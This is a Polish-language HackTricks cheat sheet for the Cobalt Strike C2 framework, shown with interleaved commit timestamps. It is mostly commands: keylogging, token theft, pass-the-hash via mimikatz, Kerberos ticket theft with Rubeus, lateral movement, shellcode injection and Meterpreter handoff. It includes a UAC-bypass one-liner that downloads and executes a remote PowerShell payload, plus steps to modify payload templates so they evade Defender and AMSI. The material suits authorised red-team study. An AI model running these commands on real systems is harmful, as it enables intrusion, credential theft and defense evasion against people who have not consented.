hacktricks/c2/cobalt-strike.md

226 lines
11 KiB
Markdown
Raw Normal View History

2022-08-12 22:50:15 +00:00
# Cobalt Strike
2024-02-11 01:46:25 +00:00
### Słuchacze
2022-08-12 22:50:15 +00:00
2024-02-11 01:46:25 +00:00
### Słuchacze C2
2022-08-13 15:36:34 +00:00
2024-02-11 01:46:25 +00:00
`Cobalt Strike -> Słuchacze -> Dodaj/Edytuj`, a następnie możesz wybrać, gdzie nasłuchiwać, jakiego rodzaju beacon użyć (http, dns, smb...) i wiele więcej.
2022-08-13 15:36:34 +00:00
2024-02-11 01:46:25 +00:00
### Słuchacze Peer2Peer
2022-08-13 15:36:34 +00:00
2024-02-11 01:46:25 +00:00
Beacony tych słuchaczy nie muszą bezpośrednio komunikować się z C2, mogą komunikować się z nim za pośrednictwem innych beaconów.
2022-08-13 15:36:34 +00:00
2024-02-11 01:46:25 +00:00
`Cobalt Strike -> Słuchacze -> Dodaj/Edytuj`, a następnie musisz wybrać beacony TCP lub SMB.
2022-08-13 15:36:34 +00:00
2024-02-11 01:46:25 +00:00
* **Beacon TCP ustawia słuchacz na wybranym porcie**. Aby połączyć się z beaconem TCP, użyj polecenia `connect <ip> <port>` z innego beacona.
* **Beacon SMB nasłuchuje na nazwie potoku o wybranej nazwie**. Aby połączyć się z beaconem SMB, należy użyć polecenia `link [target] [pipe]`.
2022-08-12 22:50:15 +00:00
2024-02-11 01:46:25 +00:00
### Generowanie i hostowanie payloadów
2022-08-12 22:50:15 +00:00
2024-02-11 01:46:25 +00:00
#### Generowanie payloadów w plikach
2022-08-12 22:50:15 +00:00
2024-02-11 01:46:25 +00:00
`Ataki -> Pakiety ->`&#x20;
2022-08-12 22:50:15 +00:00
2024-02-11 01:46:25 +00:00
* **`HTMLApplication`** dla plików HTA
* **`MS Office Macro`** dla dokumentu biurowego z makrem
* **`Windows Executable`** dla pliku .exe, .dll lub pliku usługi .exe
* **`Windows Executable (S)`** dla **bezstrefowego** pliku .exe, .dll lub pliku usługi .exe (lepsze bezstrefowe niż etapowane, mniej IoC)
2022-08-12 22:50:15 +00:00
2024-02-11 01:46:25 +00:00
#### Generowanie i hostowanie payloadów
2022-08-12 22:50:15 +00:00
2024-02-11 01:46:25 +00:00
`Ataki -> Web Drive-by -> Skryptowe dostarczanie przez sieć (S)` Spowoduje to wygenerowanie skryptu/wykonalnego do pobrania beacona z cobalt strike w formatach takich jak: bitsadmin, exe, powershell i python
2022-08-12 22:50:15 +00:00
2024-02-11 01:46:25 +00:00
#### Hostowanie Payloadów
2022-08-12 22:50:15 +00:00
2024-02-11 01:46:25 +00:00
Jeśli już masz plik, który chcesz hostować na serwerze sieciowym, przejdź do `Ataki -> Web Drive-by -> Host File` i wybierz plik do hostowania oraz konfigurację serwera sieciowego.
2022-08-12 22:50:15 +00:00
2024-02-11 01:46:25 +00:00
### Opcje Beacona
2022-08-12 22:50:15 +00:00
2024-02-11 01:46:25 +00:00
<pre class="language-bash"><code class="lang-bash"># Wykonaj lokalny plik .NET
2022-08-13 15:36:34 +00:00
execute-assembly &#x3C;/path/to/executable.exe>
2022-08-13 13:54:19 +00:00
2024-02-11 01:46:25 +00:00
# Zrzuty ekranu
printscreen # Wykonaj pojedynczy zrzut ekranu za pomocą metody PrintScr
screenshot # Wykonaj pojedynczy zrzut ekranu
screenwatch # Wykonuj okresowe zrzuty ekranu pulpitu
## Przejdź do Widok -> Zrzuty ekranu, aby je zobaczyć
2022-08-12 22:50:15 +00:00
# keylogger
keylogger [pid] [x86|x64]
2024-02-11 01:46:25 +00:00
## Wyświetl > Klawisze, aby zobaczyć naciśnięte klawisze
2022-08-13 15:36:34 +00:00
2022-08-14 10:22:31 +00:00
# portscan
2024-02-11 01:46:25 +00:00
portscan [pid] [arch] [cele] [porty] [arp|icmp|none] [maksymalne połączenia] # Wstrzyknij akcję portscanu do innego procesu
portscan [cele] [porty] [arp|icmp|none] [maksymalne połączenia]
2022-08-14 10:22:31 +00:00
2022-08-13 23:06:40 +00:00
# Powershell
2024-02-11 01:46:25 +00:00
# Importuj moduł Powershell
2022-08-13 15:36:34 +00:00
powershell-import C:\path\to\PowerView.ps1
2024-02-11 01:46:25 +00:00
powershell &#x3C;wpisz tutaj polecenie powershell>
2022-08-13 15:36:34 +00:00
2024-02-11 01:46:25 +00:00
# Podmiana użytkownika
## Generowanie tokenu z danymi uwierzytelniającymi
make_token [DOMAIN\user] [hasło] # Utwórz token do podmiany użytkownika w sieci
ls \\nazwa_komputera\c$ # Spróbuj użyć wygenerowanego tokenu do dostępu do C$ na komputerze
rev2self # Przestań używać tokenu wygenerowanego za pomocą make_token
## Użycie make_token generuje zdarzenie 4624: Pomyślnie zalogowano na konto. To zdarzenie jest bardzo powszechne w domenie Windows, ale można je zawęzić, filtrować według typu logowania. Jak wspomniano wcześniej, używa LOGON32_LOGON_NEW_CREDENTIALS, który jest typem 9.
2022-08-13 23:06:40 +00:00
2022-09-03 00:24:33 +00:00
# UAC Bypass
2024-02-11 01:46:25 +00:00
elevate svc-exe &#x3C;słuchacz>
elevate uac-token-duplication &#x3C;słuchacz>
2022-09-03 00:24:33 +00:00
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
2022-08-13 23:06:40 +00:00
2024-02-11 01:46:25 +00:00
## Ukradnij token z pid
## Podobnie jak make_token, ale kradnie token z procesu
steal_token [pid] # Ponadto, jest to przydatne dla działań sieciowych, a nie lokalnych
## Z dokumentacji API wiemy, że ten typ logowania "pozwala wywołującemu sklonować jego bieżący token". Dlatego wynik Beacona mówi Impersonated &#x3C;current_username> - podmienia nasz własny sklonowany token.
ls \\nazwa_komputera\c$ # Spróbuj użyć wygenerowanego tokenu do dostępu do C$ na komputerze
rev2self # Przestań używać tokenu z steal_token
## Uruchom proces z nowymi danymi uwierzytelniającymi
spawnas [domena\nazwa_użytkownika] [hasło] [słuchacz] # Zrób to z katalogu z dostępem do odczytu, np. cd C:\
## Podobnie jak make_token, spowoduje to wygenerowanie zdarzenia systemowego 4624: Pomyślnie zalogowano na konto, ale z typem logowania 2 (LOGON32_LOGON_INTERACTIVE). Będzie zawierać szczegóły użytkownika wywołującego (TargetUserName) i podmienionego użytkownika (TargetOutboundUserName).
## Wstrzyknięcie do procesu
inject [pid] [x64|x86] [słuchacz]
## Z punktu widzenia OpSec: Nie wykonuj wstrzykiwania międzyplatformowego, jeśli naprawdę nie musisz (np. x86 -> x64 lub x64 -> x86).
## Przekazanie hasha
## Ten proces modyfikacji wymaga łatania pamięci LSASS, co jest działaniem o wysokim ryzyku, wymaga uprawnień lokalnego administratora i nie jest zbyt wykonalne, jeśli włączono lekki proces chroniony (PPL).
pth [pid] [arch] [DOMAIN\user] [hash NTLM]
pth [DOMAIN\user] [hash NTLM]
## Przekazanie hasha za pomocą mimikatz
mimikatz sekurlsa::pth /user:&#x3C;nazwa_użytkownika> /domain:&#x3C;DOMENA> /ntlm:&#x3C;HASH NTLM> /run:"powershell -w hidden"
## Bez /run, mimikatz uruchamia cmd.exe, jeśli uruchamiasz jako użytkownik z pulpitem, zobaczy powłokę (jeśli uruchamiasz jako SYSTEM, jesteś w porządku)
steal_token &#x3C;pid> #Ukradnij token z procesu utworzonego przez mimikatz
## Przekazanie biletu
## Poproś o bilet
execute-assembly C:\path\Rubeus.exe asktgt /user:&#x3C;nazwa_użytkownika> /domain:&#x3C;domena> /aes256:&#x3C;klucze_aes> /nowrap /opsec
## Utwórz nową sesję logowania do użycia z nowym biletem (aby nie nadpisać skompromitowanego)
make_token &#x3C;domena>\&#x3C;nazwa_użytkownika> DummyPass
## Zapisz bilet na maszynie atakującego z sesji powłoki PowerShell i załaduj go
[System.IO.File]::WriteAllBytes("C:\Users\Administrator\Desktop\jkingTGT.kirbi", [System.Convert]::FromBase64String("[...bilet...]"))
2022-08-13 23:06:40 +00:00
kerberos_ticket_use C:\Users\Administrator\Desktop\jkingTGT.kirbi
2024-02-11 01:46:25 +00:00
## Przekazanie biletu z SYSTEMU
## Wygeneruj nowy proces z biletem
execute-assembly C:\path\Rubeus.exe asktgt /user:&#x3C;NAZWA UŻYTKOWNIKA> /domain:&#x3C;DOMENA> /aes256:&#x3C;KLUCZ AES> /nowrap /opsec /createnetonly:C:\Windows\System32\cmd.exe
## Ukradnij token z tego procesu
2022-08-13 23:06:40 +00:00
steal_token &#x3C;pid>
2024-02-11 01:46:25 +00:00
## Wyodrębnij bilet + Przekazanie biletu
### Wyświetl listę biletów
2022-08-13 23:06:40 +00:00
execute-assembly C:\path\Rubeus.exe triage
2024-02-11 01:46:25 +00:00
### Zrzutuj interesujący bilet według luid
2022-08-13 23:06:40 +00:00
execute-assembly C:\path\Rubeus.exe dump /service:krbtgt /luid:&#x3C;luid> /nowrap
2024-02-11 01:46:25 +00:00
### Utwórz nową sesję logowania, zanotuj luid i processid
2022-08-13 23:06:40 +00:00
execute-assembly C:\path\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe
2024-02-11 01:46:25 +00:00
### Wstaw bilet do wygenerowanej sesji logowania
2022-08-13 23:06:40 +00:00
execute-assembly C:\path\Rubeus.exe ptt /luid:0x92a8c /ticket:[...base64-ticket...]
2024-02-11 01:46:25 +00:00
### Na koniec, kradnij token z tego nowego procesu
2022-08-13 23:06:40 +00:00
steal_token &#x3C;pid>
2022-08-13 15:36:34 +00:00
2024-02-11 01:46:25 +00:00
# Ruch boczny
## Jeśli token został utworzony, zostanie użyty
jump [metoda] [cel] [słuchacz]
## Metody:
## psexec x86 Użyj usługi do uruchomienia artefaktu Service EXE
## psexec64 x64 Użyj usługi do uruchomienia artefaktu Service EXE
## psexec_psh x86 Użyj usługi do uruchomienia jednolinijkowego skryptu PowerShell
## winrm x86 Uruchom skrypt PowerShell za pomocą WinRM
## winrm64 x64 Uruchom skrypt PowerShell za pomocą WinRM
remote-exec [metoda] [cel] [polecenie]
## Metody:
<strong>## psexec Wykonaj zdalnie za pomocą Menedżera Kontroli Usług
</strong>## winrm Wykonaj zdalnie za pomocą WinRM (PowerShell)
## wmi Wykonaj zdalnie za pomocą WMI
## Aby wykonać beacon z wmi (nie jest to w poleceniu jump), po prostu przekaż beacon i wykonaj go
2022-08-13 15:36:34 +00:00
beacon> upload C:\Payloads\beacon-smb.exe
beacon> remote-exec wmi srv-1 C:\Windows\beacon-smb.exe
2022-08-14 09:56:17 +00:00
2024-02-11 01:46:25 +00:00
# Przekazanie sesji do Metasploit - Przez słuchacz
## Na hoście metaploit
2022-08-14 09:56:17 +00:00
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
msf6 exploit(multi/handler) > set LHOST eth0
msf6 exploit(multi/handler) > set LPORT 8080
msf6 exploit(multi/handler) > exploit -j
2024-02-11 01:46:25 +00:00
## Na cobalt: Listeners > Dodaj i ustaw Payload na Foreign HTTP. Ustaw Host na 10.10.5.120, Port na 8080 i kliknij Zapisz.
2022-08-14 09:56:17 +00:00
beacon> spawn metasploit
2024-02-11 01:46:25 +00:00
## Możesz uruchamiać tylko sesje x86 Meterpreter z zewnętrznym słuchaczem.
2022-08-14 09:56:17 +00:00
2024-02-11 01:46:25 +00:00
# Przekazanie sesji do Metasploit - Przez wstrzyknięcie shellcode'u
## Na hoście metasploit
2022-08-14 09:56:17 +00:00
msfvenom -p windows/x64/meterpreter_reverse_http LHOST=&#x3C;IP> LPORT=&#x3C;PORT> -f raw -o /tmp/msf.bin
2024-02-11 01:46:25 +00:00
## Uruchom msfvenom i przygotuj słuchacz multi/handler
2022-08-14 09:56:17 +00:00
2024-02-11 01:46:25 +00:00
## Skopiuj plik bin do hosta cobalt strike
2022-08-14 09:56:17 +00:00
ps
2024-02-11 01:46:25 +00:00
shinject &#x3C;pid> x64 C:\Payloads\msf.bin #Wstrzyknij shellcode metasploit do procesu x64
2022-08-14 09:56:17 +00:00
2024-02-11 01:46:25 +00:00
# Przekazanie sesji metasploit do cobalt strike
## Wygeneruj bezetapowy kod Beacon, przejdź do Attacks > Packages > Windows Executable (S), wybierz żądany słuchacz, wybierz Raw jako typ wyjścia i wybierz Użyj ładunku x64.
## Użyj post/windows/manage/shellcode_inject w metasploit, aby wstrzyknąć wygenerowany kod cobalt strike
2022-08-14 10:22:31 +00:00
2024-02-11 01:46:25 +00:00
# Przekierowanie
## Otwórz proxy SOCKS w teamserverze
2022-08-14 10:22:31 +00:00
beacon> socks 1080
2022-08-14 20:18:45 +00:00
2024-02-11 01:46:25 +00:00
# Połączenie SSH
beacon> ssh 10.10.17.12:22 nazwa_użytkownika hasło</code></pre>
2022-08-21 14:40:42 +00:00
2024-02-11 01:46:25 +00:00
## Unikanie programów antywirusowych
2022-08-21 14:40:42 +00:00
2024-02-11 01:46:25 +00:00
### Zestaw artefaktów
2022-08-21 14:40:42 +00:00
2024-02-11 01:46:25 +00:00
Zazwyczaj w `/opt/cobaltstrike/artifact-kit` można znaleźć kod i prekompilowane szablony (w `/src-common`), które cobalt strike będzie używał do generowania binarnych beaconów.
2022-08-21 14:40:42 +00:00
2024-02-11 01:46:25 +00:00
Korzystając z [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) z wygenerowanym backdoor'em (lub tylko z skompilowanym szablonem) można znaleźć, co powoduje uruchomienie defendera. Zazwyczaj jest to ciąg znaków. Dlatego można po prostu zmodyfikować kod generujący backdoor, aby ten ciąg nie pojawił się w końcowym pliku binarnym.
2022-08-21 14:40:42 +00:00
2024-02-11 01:46:25 +00:00
Po zmodyfikowaniu kodu wystarczy uruchomić `./build.sh` z tego samego katalogu i skopiować folder `dist-pipe/` do klienta Windows w `C:\Tools\cobaltstrike\ArtifactKit`.
2022-08-21 14:40:42 +00:00
```
pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe .
```
2024-02-11 01:46:25 +00:00
Nie zapomnij załadować agresywnego skryptu `dist-pipe\artifact.cna`, aby wskazać Cobalt Strike, które zasoby z dysku chcemy używać, a nie te, które są załadowane.
2022-08-21 14:40:42 +00:00
2024-02-11 01:46:25 +00:00
### Zestaw zasobów
2022-08-21 14:40:42 +00:00
2024-02-11 01:46:25 +00:00
Folder ResourceKit zawiera szablony dla skryptowych ładunków Cobalt Strike, w tym PowerShell, VBA i HTA.
2022-08-21 14:40:42 +00:00
2024-02-11 01:46:25 +00:00
Korzystając z [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) z szablonami, możesz dowiedzieć się, co nie podoba się obrońcy (w tym przypadku AMSI) i go zmodyfikować:
2022-08-21 14:40:42 +00:00
```
.\ThreatCheck.exe -e AMSI -f .\cobaltstrike\ResourceKit\template.x64.ps1
```
2024-02-11 01:46:25 +00:00
Modyfikując wykryte linie można wygenerować szablon, który nie zostanie wykryty.
2022-08-21 14:40:42 +00:00
2024-02-11 01:46:25 +00:00
Nie zapomnij załadować agresywnego skryptu `ResourceKit\resources.cna`, aby wskazać Cobalt Strike, aby korzystał z zasobów z dysku, których chcemy, a nie z załadowanych.
2022-09-03 00:18:00 +00:00
```bash
cd C:\Tools\neo4j\bin
neo4j.bat console
http://localhost:7474/ --> Change password
2022-10-08 08:34:51 +00:00
execute-assembly C:\Tools\SharpHound3\SharpHound3\bin\Debug\SharpHound.exe -c All -d DOMAIN.LOCAL
2022-09-03 00:18:00 +00:00
# Change powershell
C:\Tools\cobaltstrike\ResourceKit
template.x64.ps1
# Change $var_code -> $polop
# $x --> $ar
cobalt strike --> script manager --> Load --> Cargar C:\Tools\cobaltstrike\ResourceKit\resources.cna
#artifact kit
cd C:\Tools\cobaltstrike\ArtifactKit
pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe .
```
2024-02-11 01:46:25 +00:00